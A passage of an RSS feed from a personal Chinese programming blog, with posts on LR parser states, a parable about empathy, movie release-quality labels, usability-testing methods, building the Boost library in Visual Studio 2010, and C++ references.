　 　　　A→·e,c&lt;/td&gt;&lt;tr&gt;&lt;td&gt;
　　I4： S→aA·d,#&lt;/td&gt;&lt;td&gt;
I5： S→ae·c,#
　 　    A→e·,d &lt;/td&gt;&lt;td&gt;
I6： S→bA·c,# &lt;/td&gt;&lt;td&gt;
I7： S→be·d,#
　 　   A→e·,c &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;
I8： S→aAd·,# &lt;/td&gt;&lt;td&gt;
I9： S→aec·,# &lt;/td&gt;&lt;td&gt;
I10：S→bAc·,# &lt;/td&gt;&lt;td&gt;
I11：S→bed·,# &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;
&lt;p&gt;　　构造的过程很繁琐。有点暴力计算的意思。不过，真正算起来步骤还是比较少的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>我可以蹲下来，陪你做一只蘑菇</title>
      <link>http://blog.leaver.me/2012/06/01/%E6%88%91%E5%8F%AF%E4%BB%A5%E8%B9%B2%E4%B8%8B%E6%9D%A5%E9%99%AA%E4%BD%A0%E5%81%9A%E4%B8%80%E5%8F%AA%E8%98%91%E8%8F%87/</link>
      <pubDate>Fri, 01 Jun 2012 19:00:36 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/01/%E6%88%91%E5%8F%AF%E4%BB%A5%E8%B9%B2%E4%B8%8B%E6%9D%A5%E9%99%AA%E4%BD%A0%E5%81%9A%E4%B8%80%E5%8F%AA%E8%98%91%E8%8F%87/</guid>
      <description>&lt;p&gt;　　有一个精神病人，以为自己是一只蘑菇，于是他每天都撑着一把伞蹲在房间的墙角里，不吃也不喝，像一只真正的蘑菇一样。&lt;/p&gt;
&lt;p&gt;　　心理医生想了一个办法。有一天，心理医生也撑了一把伞，蹲坐在了病人的旁边，病人很奇怪的问：你是谁呀？医生回答：我也是一只蘑菇呀。病人点点头，继续做他的蘑菇。&lt;/p&gt;
&lt;p&gt;　　过了一会儿，医生站了起来，在房间里走来走去，病人就问他：你不是蘑菇么，怎么可以走来走去？&lt;/p&gt;
&lt;p&gt;　　医生回答说：蘑菇当然可以走来走去啦！病人觉得有道理，就也站起来走走。&lt;/p&gt;
&lt;p&gt;　　又过了一会儿，医生拿出了一个汉堡开始吃，病人又问：你不是蘑菇么，怎么可以吃东西？医生理直气壮地回答：蘑菇当然也可以吃东西啦。病人觉得很对，于是也开始吃东西。&lt;/p&gt;
&lt;p&gt;　　……&lt;/p&gt;
&lt;p&gt;　　几个星期以后，这个病人就可以像正常人一样生活了，虽然，他还是觉得自己是一只蘑菇。&lt;/p&gt;
&lt;p&gt;　　其实…… 一个人可以带着过去的创伤继续，只要他把悲伤放在心里的一个圈圈里，不要让苦痛浸染了他的整个生命，他就可以像正常人一样快乐的生活。当一个人悲伤得难以自持的时候，也许，他不需要太多的劝解和安慰，训戒和指明。他需要的，只是能有一个在他身边蹲下来，陪他做一只蘑菇。&lt;/p&gt;
&lt;p&gt;　　我可以蹲下来，陪你做一只蘑菇。我愿意分担你的不快乐，只是当你的世界下雨时单纯的为你撑起一把伞。请你不要封闭自己的心，一个人承受那么多。你知道的。只要你睁开眼，你从来都不是一个人。我是你的蘑菇…也希望在我无助的时候，你能蹲下来，陪我一起做一朵蘑菇。&lt;/p&gt;
&lt;p&gt;　　来源：&lt;a href=&#34;http://www.zreading.cn/archives/2982.html&#34;&gt;http://www.zreading.cn/archives/2982.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>电影各种版本详解</title>
      <link>http://blog.leaver.me/2012/05/31/%E7%94%B5%E5%BD%B1%E5%90%84%E7%A7%8D%E7%89%88%E6%9C%AC%E8%AF%A6%E8%A7%A3/</link>
      <pubDate>Thu, 31 May 2012 11:07:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/31/%E7%94%B5%E5%BD%B1%E5%90%84%E7%A7%8D%E7%89%88%E6%9C%AC%E8%AF%A6%E8%A7%A3/</guid>
      <description>&lt;p&gt;这是今天早上突然想到的。因为最近一下电影网站恶意混淆各种版本，比如拿个枪版就说个DVD，骗下载量。特此找到此文。分享之。国内作者太无良啊。转载从来不注明出处。找原始出处花了一些时间。原文非常乱。音视频格式也交错着介绍。我删掉了。想看的去原文看吧。&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/22285_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/24424aefc3b83e31aa677b552705c292636d11f6.jpg&#34; title=&#34;钢铁苍穹&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;1.CAM（枪版）——珍爱生命，远离枪版
CAM通常是用数码摄像机从电影院盗录。有时会使用 小三角架，但大多数时候不可能使用，所以摄像机会抖动。因此我们看到画面通常偏暗人物常常会失真，下方的字幕时常会出现倾斜。 由于声音是从摄像机自带的话筒录制，所以经常会录到观众的笑声等声音。因为这些因素，图象和声音质量通常都很差。
举例说明：Journey.To.The.Center.Of.The.Earth.CAM.XViD-CAMERA（地心游记3D枪版）&lt;/p&gt;
&lt;p&gt;2.TS——只比枪版好一点
TS 与CAM版的标准是相同的。 但它使用的是外置音源（一般是影院座椅上为听力不好的人设的耳机孔）这个音源不能保证是好的音源，因为受到很多背景噪音的干扰。TS是在空的影院或是用专 业摄像机在投影室录制，所以图象质量可能比CAM好。但画面的起伏很大。常出现的有一般TS版和经过修复清晰TS版。
举例说明：Iron.Man.PROPER.TS.XviD-iLG（钢铁侠TS版）&lt;/p&gt;
&lt;p&gt;3.TC——基本也可以忽略
TC使用电视电影机从胶片直接数字拷贝。画面质量还不错,但亮度不足，有些昏暗。很多时候制作TC使用的音源来自TS，因此音质很差，但画面质量远好过TS。如果不是太讲究的话TC版还是不错的选择。
举例说明：Madagascar.2005.TC.XviD.AC3.avi（马达加斯加TC版）&lt;/p&gt;
&lt;p&gt;4.DVDSCR——最差也要看这个
预 览版的或者是测试版的DVD，非正式出版的版本。从预览版 DVD 中获取，通过mpeg-4技术进行高质量压缩的视频格式。能比DVDRip早发布，但画质稍差。（经常有一些不在黑边里在屏幕下方滚动的消息，包含版权和 反盗版电话号码 ，会影响观看。）如果没有严格的划分它的画质应与TC版差不多。
举例说明：Quantum.of.Solace.REPACK.DVDSCR.XviD-COALiTiON.avi（007大破量子危机DVDSCR版）&lt;/p&gt;
&lt;p&gt;5.DVDRIP——比较理想的版本
DVDRIP是从最终版的DVD转制。质量应该是最好的。将DVD的视频、音频、字幕剥离出来，再经过压缩或者其他处理，然后重新合成成多媒体文件。一般来说，DVDrip由影音文件(后缀为avi)和字幕文件组成。
举例说明：Pineapple.Express.2008.DVDRip.XviD-ARROW.avi（菠萝快车DVDRip版）&lt;/p&gt;
&lt;p&gt;6.HR-HDTV——不错的选择
HR-HDTV是用DivX/XviD/x264等MPEG4压缩技术对HDTV的视频图像进行高质量压缩,然后将视频、音频部分封装成一个.avi或.mkv文件，最后再加上外挂的字幕文件而形成的视频格式。 画面清晰度更高。&lt;/p&gt;
&lt;p&gt;7.HDRIP——BD之下，万人之上
HDRIP=HD-DVD Rip，即HD-DVD高清转制，效果好于一般的高清转制。
举例说明：Stardust.2007.HDRip.x264.a720.AC3-C@SiLU.mkv（星尘HDrip版）&lt;/p&gt;
&lt;p&gt;8.BDRIP——高清之下，普通清晰度的王者
BDrip = Blue-ray Disc Rip，即蓝光高清转制，效果比HDRIP还要好。
举例说明：Awake.2007.BDRip.X264-TLF.mkv（夺命手术BDrip版）&lt;/p&gt;
&lt;p&gt;9.R5——心急的您可以看这个
R5一般大都是俄罗斯5区版，由于北美大片在俄罗斯发行的语种经常配音为俄罗斯语，因此网络上会出现采用R5的视频＋枪版TS的英语原声音频＝合成版本（所以音效差），当然，也经常有未配音过音效好的R5，遇到合成版本，在发布时会特别注明音效。
举例说明：Get.Smart.R5.LINE.XViD-mVs.avi（糊涂侦探R5版）&lt;/p&gt;
&lt;p&gt;10、BD（蓝光版）
BD是Blue Disk的简称，翻译成中文是“蓝光影碟”的意思。就是从蓝光影碟转录的视频和音频，画面清晰度很高。&lt;/p&gt;
&lt;p&gt;11.TVRIP——TV转制
所谓TVRip是从电视(最好是从数码有线电视/卫星电视捕捉)转制的电视剧及接收卫星接收到的节目，然后通过电视卡进行捕捉，压缩成文件，我们看的很多综艺及体育节目都是TVRip。有些电视剧也会使用TVRip的方式进行发布。&lt;/p&gt;
&lt;p&gt;12.720P
720P 是美国电影电视工程师协会(SMPTE)制定的最高等级高清数字电视的格式标准，有效显示格式为：1280×720.SMPTE(美国电影电视工程协会) 将数字高清信号数字电视扫描线的不同分为1080P、1080I、720P(i是interlace,隔行的意思，p是Progressive,逐行的意 思)。720P是一种在逐行扫描下达到1280×720的分辨率的显示格式。是数字电影成像技术和计算机技术的融合。这是高清视频的最低标准。
举例说明：Le.Fabuleux.Destin.d&amp;rsquo;Amélie.Poulain.2001.Blu-ray.720p.x264.DD51-HiS@SiLUHD.mkv（天使爱美丽720P）&lt;/p&gt;
&lt;p&gt;13.1080I
即1080线隔行扫描，分辨率为1920×1080，仅次于1080P
举例说明：close.encounters.of.the.third.kind.1080i.disk1.ts（第三类接触1080i版本）&lt;/p&gt;
&lt;p&gt;14.1080P
1080P是美国电影电视工程师协会（SMPTE）制定的最高等级高清数字电视的格式标准，有效显示格式为：1920×1080，像素数达到207．36万。
1080P带来的高画质给消费者带来的是真正的家庭影院的视听享受，由于它向下全面兼容其它高清格式，通用性非常强，保证了在未来十几年的时间里产品不会过时，具有很好的超前性。随着1080P片源的不断涌现，1080P产品的优势已经显现出来。
举例说明：Resident.Evil.HD.DVD.REMUX.1080p.MPEG-2.DTS-HD.F@Silu.disk1.ts（生化危机1，1080P版本）&lt;/p&gt;
&lt;p&gt;15.REPACK——重新打包版
如果发布组织发布了一个坏的版本，他们会发布REPACK来解决这些问题。
举例说明：The.Eye.2008.REPACK.BDRip.X264-TLF-cd1.mkv（美版见鬼，repack版本）&lt;/p&gt;
&lt;p&gt;16.REMUX——无损版
Remux的意思是无损的提取出HD-DVD 和 BluRay-DVD里面的视频数据和音频数据，封装到我们熟悉的TS或者AVI文件中。
HD- DVD和 Blu-Ray Rip、Re都是把原始的高清数据进行压缩和重编码，从1080P压缩到720P, 20G左右的片子压缩到了4.3G. 可在19、20、22寸的宽屏上看，但是上到大尺寸高分辩率的显示设备就能明显的看出区别了。大屏幕的朋友还是建议购买原始编码的Remux。
举例说明：The.Patriot.Extended.Cut.Blu-ray.REMUX.H264.1080P.DTS.LPCM.DD51.Fanxy@Silu.DISK1.ts（爱国者remux版本）&lt;/p&gt;
&lt;p&gt;17. Extended——加长版
情形和导演剪辑版类似，很多的加长版是用来圈钱的,有的干脆就是把花絮里的删除段落直接加进去,也就长了几分钟而已。也有很厚道的,比如指环王的加长版,一部就加长了近50分钟,肯定对剧情有影响的。
举例说明：The.Lord.Of.The.Rings-Return.Of.The.King.EXTENDED.EDITION.DVDRip.XViD-ALLiANCE.avi（指环王3：王者归来加长版）&lt;/p&gt;
&lt;p&gt;来源：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.sina.com.cn/s/blog_486387300102dxo1.html&#34;&gt;http://blog.sina.com.cn/s/blog_486387300102dxo1.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blog.sina.com.cn/renli&#34;&gt;http://blog.sina.com.cn/renli&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>比较HE和Think Aloud可用性测试</title>
      <link>http://blog.leaver.me/2012/05/29/%E6%AF%94%E8%BE%83he%E5%92%8Cthink-aloud%E5%8F%AF%E7%94%A8%E6%80%A7%E6%B5%8B%E8%AF%95/</link>
      <pubDate>Tue, 29 May 2012 09:12:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/29/%E6%AF%94%E8%BE%83he%E5%92%8Cthink-aloud%E5%8F%AF%E7%94%A8%E6%80%A7%E6%B5%8B%E8%AF%95/</guid>
      <description>&lt;p&gt;首先，HE和Think Aloud 都是两用可用性测试的方法，HE，也就是这个启发式评估可以在设计的早期阶段（比如草稿）就开始使用，并且不需要太多的其他步骤。而Think Aloud则更多建立在已经设计出来的原型系统上。需要更多的步骤。这两个各有利弊。互相协作。才能更好嘛，有些问题，HE可以发现，有些则只有Think Aloud可以发现。&lt;/p&gt;
&lt;h3 id=&#34;1many-usability-aspects-identified-in-he-are-confirmed-in-think-aloud-usability-tests&#34;&gt;&lt;strong&gt;1.Many Usability Aspects Identified in HE are Confirmed in Think-Aloud Usability Tests&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;许多可用性方面的问题可以在HE中识别。然后在Think Aloud测试中被确认。&lt;/p&gt;
&lt;h3 id=&#34;2when-he-predictions-are-not-confirmed-by-think-aloud-usability-tests&#34;&gt;&lt;strong&gt;2.When HE Predictions are not Confirmed by Think-Aloud Usability Tests&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;当HE预测了问题但是Think Aloud中，并没有发现。这种情况下。请相信Think Aloud测试。因为用户是王道。数据比预测更准确。&lt;/p&gt;
&lt;h3 id=&#34;3&#34;&gt;&lt;strong&gt;3.&amp;ldquo;False Alarms&amp;rdquo; vs. True Problems&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;假警告vs真问题，这个举个例子，在对话框中，有三个按钮。OK ，Apply和Cancel ，虽然HE规则预测了这个迷惑性。但是进行Think Aloud测试的时候，并没有这个问题，原因是用户就没想过这个事，他只按ok，但这并不能避免问题，或者说似乎这个问题并不是个问题，还有一种情况，比如HE规则中的文档帮助的问题，可能用户在测试的时候就没打开文档。这就需要HE来评估了。所以，这种情况下，还是应该好好分析一下HE给出的评估来改进系统。&lt;/p&gt;
&lt;h3 id=&#34;4think-aloud-usability-tests-can-show-things-hes-can&#34;&gt;&lt;strong&gt;4.Think-Aloud Usability Tests Can Show Things HEs Can&amp;rsquo;t Show&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Think Aloud测试可以展示HE没有发现的问题。&lt;/p&gt;
&lt;p&gt;HE规则因为是建立在早期草稿原型上的。并不是真实情况，他只是在早期给出设计上的问题，他不能预测真实系统的问题，比如程序运行速度非常慢，以至于用户难以忍受。这就需要Think Aloud才能发现了。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;基本上SSD4就讲了这么些东西了。四篇文章四点写到7点。。基本上算是写完了。工科男求安慰。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Think-Aloud 可用性测试介绍</title>
      <link>http://blog.leaver.me/2012/05/29/think-aloud-%E5%8F%AF%E7%94%A8%E6%80%A7%E6%B5%8B%E8%AF%95%E4%BB%8B%E7%BB%8D/</link>
      <pubDate>Tue, 29 May 2012 09:10:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/29/think-aloud-%E5%8F%AF%E7%94%A8%E6%80%A7%E6%B5%8B%E8%AF%95%E4%BB%8B%E7%BB%8D/</guid>
      <description>&lt;p&gt;中文是指出声思考：出声思考。可用性测试中常用也很有用的一个数据收集方法，来改善产品。要求被测试者把在测试过程中即时的把自己的想法大声说出来。比如，你说我不知道干什么，这个好像有点问题，等等。然后有人来记录。&lt;/p&gt;
&lt;p&gt;SSD4给出的具体步骤翻译添加解释如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Define the study&amp;rsquo;s framework,
定义该测试报告的框架。比如系统准备解决什么问题，适合什么类型的用户，希望评估首次使用还是其他什么，希望最终的目标是什么，比如希望90%的用户可以初次顺利使用。&lt;/li&gt;
&lt;li&gt;Choose what to observe,
选择打算观察测试者的什么行为，比如用户如何打开，先干了什么&lt;/li&gt;
&lt;li&gt;Prepare for the think-aloud usability test,
为测试做准备，比如模拟真实情景，写个流程。开个会，招募实验人员。&lt;/li&gt;
&lt;li&gt;Introduce the participants to the observation procedure,
给实验人员介绍步骤。抚慰一下他们的情绪。告诉他们目的，并且希望他们think aloud。&lt;/li&gt;
&lt;li&gt;Conduct the observation,
进行观察&lt;/li&gt;
&lt;li&gt;Analyze the observation,
分析观察结果 。&lt;/li&gt;
&lt;li&gt;Find possible redesigns,
找到可能需要进行重新设计的地方&lt;/li&gt;
&lt;li&gt;Write a report.
写个总结报告出来。完成
这不也就这样嘛。&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>UAR报告的简单说明</title>
      <link>http://blog.leaver.me/2012/05/29/uar%E6%8A%A5%E5%91%8A%E7%9A%84%E7%AE%80%E5%8D%95%E8%AF%B4%E6%98%8E/</link>
      <pubDate>Tue, 29 May 2012 08:15:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/29/uar%E6%8A%A5%E5%91%8A%E7%9A%84%E7%AE%80%E5%8D%95%E8%AF%B4%E6%98%8E/</guid>
      <description>&lt;h3 id=&#34;uar报告由以下几个部分构成就这个例子简单说一下&#34;&gt;UAR报告由以下几个部分构成。就这个例子简单说一下。&lt;/h3&gt;
&lt;h3 id=&#34;example-uar--time-zone-listbox-is-not-good-标题&#34;&gt;&lt;strong&gt;Example UAR — Time Zone ListBox Is Not Good  //标题&lt;/strong&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;h4 id=&#34;uar-identifier--问题编号从1开始每个问题都这样的格式来说明就构成了uar报告&#34;&gt;&lt;strong&gt;UAR Identifier   //问题编号，从1开始，每个问题都这样的格式来说明，就构成了UAR报告&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;HE18—Problem  //后面这个problem表示有问题，也可以是Good，表示这部分很好。没问题。&lt;/p&gt;
&lt;h4 id=&#34;succinct-description-简短的描述&#34;&gt;&lt;strong&gt;Succinct description: //简短的描述&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Time Zone pull-down ListBox provides too much irrelevant information.&lt;/p&gt;
&lt;h4 id=&#34;evidence-for-the-aspect-违反了哪条规则共有十条规则&#34;&gt;&lt;strong&gt;Evidence for the aspect:  //违反了哪条规则，共有十条规则。&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Heuristic: Aesthetics and minimalist design&lt;/p&gt;
&lt;p&gt;**Interface aspect: **&lt;/p&gt;
&lt;p&gt;The pull-down ListBox has 50 lines of information—in very small font. There are many competing items of information to visually search, the vast majority of which are irrelevant to any one user&amp;rsquo;s particular task of finding a single desired time zone&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;center style=&#34;text-align: -webkit-auto;&#34;&gt;&lt;span style=&#34;font-size: small;&#34;&gt;&lt;span style=&#34;line-height: normal;&#34;&gt;[![](/images/ &#34;uar&#34;)](http://seqcc.icarnegie.com/content/SSD/SSD4/3.1/normal/pg-creatng-evaltng-interfaces/pg-crt-eval-list-combo/pg-he-clean-beauty/Ex5.png)&lt;/span&gt;&lt;/span&gt;&lt;/center&gt;In addition, the information is structured as follows:The string &#34;[GMT &#34; begins each line (which means Greenwich Mean Time). If the time zone is behind GMT, then a &#34;-&#34; indicates this fact, which is followed by the number of hours and minutes the time zone is behind GMT. If the time zone is ahead of GMT, a &#34;+&#34; is used instead. Finally, some words follow the GMT offset, which are either city or country names, or the names of regions.&amp;nbsp;
&lt;p&gt;The presentation of this structured information violates the &lt;strong&gt;aesthetics and minimalist design&lt;/strong&gt; heuristic because the structure is not preserved visually from item to item. For example, the words are not always lined up vertically; see the entries for:&lt;/p&gt;</description>
    </item>
    <item>
      <title>10条可用性准则（Heuristics）</title>
      <link>http://blog.leaver.me/2012/05/29/10%E6%9D%A1%E5%8F%AF%E7%94%A8%E6%80%A7%E5%87%86%E5%88%99heuristics/</link>
      <pubDate>Tue, 29 May 2012 06:52:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/29/10%E6%9D%A1%E5%8F%AF%E7%94%A8%E6%80%A7%E5%87%86%E5%88%99heuristics/</guid>
      <description>&lt;p&gt;SSD4第二单元其实就讲了这么一点东西，包括一点VB的控件常识&lt;/p&gt;
&lt;p&gt;可用性测试（Usability testing），是一项通过用户的使用来评估产品的技术，由于它反应了用户的真实使用经验，所以可以视为一种不可或缺的可用性检验过程[1]。也就是说，可用性测试是指让用户使用产品（服务）的设计原型或者成品，通过观察，记录和分析用户的行为和感受，以改善产品（服务）可用性的一系列方法。它适用于产品（服务）前期设计开发，中期改进和后期维护完善的各个阶段，是用户中心设计的思想的重要体现。&lt;/p&gt;
&lt;p&gt;10条可用性准则（Heuristics）
These are ten general principles for user interface design. They are called &amp;ldquo;heuristics&amp;rdquo; because they are more in the nature of rules of thumb than specific usability guidelines.&lt;/p&gt;
&lt;p&gt;1.Visibility of system status——系统状态的可见性&lt;/p&gt;
&lt;p&gt;The system should always keep users informed about what is going on, through appropriate feedback within reasonable time.&lt;/p&gt;
&lt;p&gt;系统应该始终在合理的时间以适当的反馈信息让用户知道系统正在做什么。&lt;/p&gt;
&lt;p&gt;2.Match between system and the real world——系统和现实世界之间的吻合&lt;/p&gt;
&lt;p&gt;The system should speak the users&amp;rsquo; language, with words, phrases and concepts familiar to the user, rather than system-oriented terms. Follow real-world conventions, making information appear in a natural and logical order.&lt;/p&gt;
&lt;p&gt;系统应该用用户熟悉的词，短语和概念来说用户的语言，而不是用面向系统的术语。遵循现实世界中的惯例，让信息以自然的合乎逻辑的次序展现在用户面前。&lt;/p&gt;
&lt;p&gt;3.User control and freedom——用户控制和自由&lt;/p&gt;
&lt;p&gt;Users often choose system functions by mistake and will need a clearly marked &amp;ldquo;emergency exit&amp;rdquo; to leave the unwanted state without having to go through an extended dialogue. Support undo and redo.&lt;/p&gt;
&lt;p&gt;用户经常错误地选择系统功能，所以在不需要查看由于误操作而延伸出来地对话的情况下有一个明显地标志为“紧急退出”的操作来离开不想要的状态。另外，系统需要支持“撤销操作”和“重做”的功能。&lt;/p&gt;
&lt;p&gt;4.Consistency and standards——一致性和标准&lt;/p&gt;
&lt;p&gt;Users should not have to wonder whether different words, situations, or actions mean the same thing. Follow platform conventions.&lt;/p&gt;</description>
    </item>
    <item>
      <title>VS2010 编译安装boost库</title>
      <link>http://blog.leaver.me/2012/05/24/vs2010-%E7%BC%96%E8%AF%91%E5%AE%89%E8%A3%85boost%E5%BA%93/</link>
      <pubDate>Thu, 24 May 2012 11:39:55 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/24/vs2010-%E7%BC%96%E8%AF%91%E5%AE%89%E8%A3%85boost%E5%BA%93/</guid>
      <description>&lt;p&gt;实践是最好的办法。。学习C++，想试试线程，然后打算用boost库，结果boost库编译差点吓到我。。没看到比较完整的安装教程。。一直耽搁。今天动手。完成了。方法记录如下：
1.下载boost
从boost官网( &lt;a href=&#34;http://www.boost.org&#34;&gt;http://www.boost.org&lt;/a&gt; )上下载最新的boost版本，现在最新是1.49版本，解压到自定义目录(我解压到了D:/program files,最终的目录结构是D:\Program Files\boost_1_49_0)&lt;/p&gt;
&lt;p&gt;2.编译安装&lt;/p&gt;
&lt;p&gt;在D:\Program Files\boost_1_49_0的目录下，有一个bootstrap.bat文件，直接双击运行。就会在同目录生成b2.exe；bjam.exe两个文件。&lt;/p&gt;
&lt;p&gt;3.设定编译环境
修改user-config.jam (D:\Program Files\boost_1_49_0\tools\build\v2\user-config.jam) 的MSVC configuration&lt;/p&gt;
&lt;h1 id=&#34;msvc-configuration&#34;&gt;MSVC configuration&lt;/h1&gt;
&lt;h1 id=&#34;configure-msvc-default-version-searched-for-in-standard-locations-and-path&#34;&gt;Configure msvc (default version, searched for in standard locations and PATH).&lt;/h1&gt;
&lt;h1 id=&#34;using-msvc-&#34;&gt;using msvc ;&lt;/h1&gt;
&lt;p&gt;在上面这段的下面直接添加如下的文字。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using msvc : 10.0 : :/wd4819/D_CRT_SECURE_NO_DEPRECATE/D_SCL_SECURE_NO_DEPRECATE/D_SECURE_SCL=0 ;&lt;/pre&gt;
&lt;p&gt;保存关闭。&lt;/p&gt;
&lt;p&gt;4.开始编译
点击开始-&amp;gt;所有程序-&amp;gt;“Microsoft Visual Studio 2010”，指向“Visual Studio tools(工具)”，然后单击“Visual Studio 2010 command prompt（命令提示）” 使用cd切换到D:\Program Files\boost_1_49_0目录。这个就不说了
然后输入如下的代码：&lt;/p&gt;
&lt;pre class=&#34;lang:sh decode:true  crayon-selected&#34;&gt;b2 toolset=msvc-10.0 architecture=x86 instruction-set=i686 address-model=32 link=static 
variant=debug,release threading=multi runtime-link=shared --without-python --without-mpi 
--without-wave --without-graph --without-math --without-serialization stage&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;解释一下命令的意思：
1.toolset：表示编译器工具，我安装的是VS2010，所以是msvc-10(如果你是VS2005，可以使用msvc-8.0 VS2008是msvc-9.0)
2.architecture：表示架构，也就是你的CPU架构，x86,x64，因为我安装的是win7 32位，所以使用了x86的架构
3.instruction-set：表示指令集，依然是8086指令集
4.address-model：表示地址长度为32位
5.link：表示生成动态/静态链接库，动态链接库是shared，静态链接库是static，一般都会编译成静态库，因为给出程序的时候打包boost的库会非常庞大
6.variant：表示生成的Debug或者release版本，一般情况下会两种版本都会编译出来的
7.threading：表示单/多线程编译，一般我们的程序都会用到多线程，所以选择了multi
8.runtime-link：表示动态/静态链接C/C++运行时库(C/C++ Runtime)，我们选择了动态链接
9.without/with：表示不需要编译/需要编译哪些库，一些自己不用的库可以无需编译
10.stage/install：stage表示只生成库文件(DLL和Lib)，install还会生成包含头文件的include目录，推荐使用stage，因为boost_1_49\boost中就是boost库完整的头文件，所以无需再拷贝一份出来。编译出来的库会放在stage文件夹中
这样一份完整的boost库就生成了，剩下就是直接使用到项目中了。&lt;/p&gt;
&lt;p&gt;其实编译的具体命令都是可以自己写的。如果你需要编译所有。只需要使用下面的这行代码
b2 &amp;ndash;toolset=msvc-10.0 &amp;ndash;build-type=complete
就可以了。&lt;/p&gt;
&lt;p&gt;不出问题的话。就开始编译了。。登个半个多小时吧。就会完成了。
5.设置vs
打开vs，新建一个工程。然后工程属性。配置属性-&amp;gt;C/C++ ，附加包含目录
填上
D:\Program Files\boost_1_49_0;%(AdditionalIncludeDirectories)
这个是最终的结果，你也可以手动添加&lt;/p&gt;
&lt;p&gt;在左侧选择链接器-&amp;gt;附加库目录，填上
D:\Program Files\boost_1_49_0\stage\lib;%(AdditionalLibraryDirectories)
就可以了。&lt;/p&gt;
&lt;p&gt;6.测试
在你新建的工程里输入如下的代码。运行成功就说明可以了&lt;/p&gt;
&lt;pre class=&#34;lang:c++ decode:true &#34;&gt;#include &amp;lt;boost/thread/thread.hpp&amp;gt;
#include &amp;lt;iostream&amp;gt;

void hello()
{
        std::cout &amp;lt;&amp;lt;
        &#34;Hello world, I&#39;m a thread!&#34;
        &amp;lt;&amp;lt; std::endl;
}

int main(int argc, char* argv[])
{
        boost::thread thrd(&amp;amp;hello);
        thrd.join();
        return 0;
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;参考：
&lt;a href=&#34;http://www.cppfans.org/1317.html&#34;&gt;http://www.cppfans.org/1317.html&lt;/a&gt;
&lt;a href=&#34;http://www.cnblogs.com/ComputerG/archive/2011/03/10/1979730.html&#34;&gt;http://www.cnblogs.com/ComputerG/archive/2011/03/10/1979730.html&lt;/a&gt;
&lt;a href=&#34;http://www.cppblog.com/shaker/archive/2011/11/30/33583.html&#34;&gt;http://www.cppblog.com/shaker/archive/2011/11/30/33583.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C&#43;&#43; 独立引用，为什么？</title>
      <link>http://blog.leaver.me/2012/05/23/c-%E7%8B%AC%E7%AB%8B%E5%BC%95%E7%94%A8%E4%B8%BA%E4%BB%80%E4%B9%88/</link>
      <pubDate>Wed, 23 May 2012 07:25:04 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/23/c-%E7%8B%AC%E7%AB%8B%E5%BC%95%E7%94%A8%E4%B8%BA%E4%BB%80%E4%B9%88/</guid>
      <description>&lt;p&gt;问题：&lt;/p&gt;
&lt;p&gt;I read in some good C++ tutorial that independent references do exist, and act like aliasing.
我读了一些好的C++文章，发现独立引用确实存在，并且很像别名。
But&amp;hellip; I wonder what it is made for.
但是，，，我想知道他适用于什么情况。
Why should one want to use aliasing.Besides, some piece of code that is not clear to me:
为什么有人想使用别名呢，另外，下面这段代码我不太清楚。&lt;/p&gt;
&lt;pre class=&#34;lang:c++ decode:true&#34;&gt;int a;
int &amp;amp;ref = a; // independent reference
int b = 19;
ref = b;
cout &amp;lt;&amp;lt; a &amp;lt;&amp;lt; &#34; &#34; &amp;lt;&amp;lt; ref &amp;lt;&amp;lt; &#34;\n&#34;;
ref--;
cout &amp;lt;&amp;lt; a &amp;lt;&amp;lt; &#34; &#34; &amp;lt;&amp;lt; ref &amp;lt;&amp;lt; &#34;\n&#34;;&lt;/pre&gt;
&lt;span style=&#34;font-family: monospace;&#34;&gt;
&lt;/span&gt;
&lt;p&gt;First, ref is a &amp;lsquo;reference&amp;rsquo; to a.I understand from second line of code that address for ref (hence the ampershead) is
首先，ref是一个对a的引用，从第二行代码那我认为ref的地址也就是a，（括号里面不清楚什么意思。貌似是作者写错了）&lt;/p&gt;
&lt;p&gt;a. Then, integer ref is assigned the value of b (19). First cout returns a and ref, both equal to 19.
然后呢，整数ref被b（19）被赋值，第一次输出a和ref，都是19，&lt;/p&gt;
&lt;p&gt;Why? Isn&amp;rsquo;t integer a the address for ref? Then, decrements ref, and last cout gives two times 18. a and ref where decremented.
为什么，难道整数a不是给ref的地址？然后ref自减，最后输出了2个18，a和ref都减少了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>c &amp; c&#43;&#43;中sizeof返回值不同?</title>
